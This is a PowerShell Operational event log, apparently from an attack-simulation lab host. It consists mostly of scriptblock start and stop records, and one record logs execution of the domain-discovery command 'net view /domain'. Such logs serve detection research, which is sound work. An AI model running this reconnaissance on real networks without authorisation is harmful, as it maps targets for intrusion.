LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988864 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988883 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988882 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988881 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988880 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988879 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988878 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988877 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988876 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988875 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988874 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988893 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988892 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988891 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988890 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988889 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988888 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988887 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988886 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988885 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988884 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988903 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988902 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988901 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988900 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988899 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988898 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988897 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988896 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988895 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988894 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988913 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988912 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988911 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988910 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988909 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988908 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988907 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988906 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988905 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988904 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988929 Keywords=None Message=Started invocation of ScriptBlock ID: 0967355e-020f-4716-a730-adf31e949bc3 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1988928 Keywords=None Message=Creating Scriptblock text (1 of 1): net view /domain ScriptBlock ID: 0967355e-020f-4716-a730-adf31e949bc3 Path: 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988927 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988926 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988925 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988924 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988923 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988922 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988921 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988920 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988919 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988918 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988917 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988916 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988915 Keywords=None Message=Completed invocation of ScriptBlock ID: 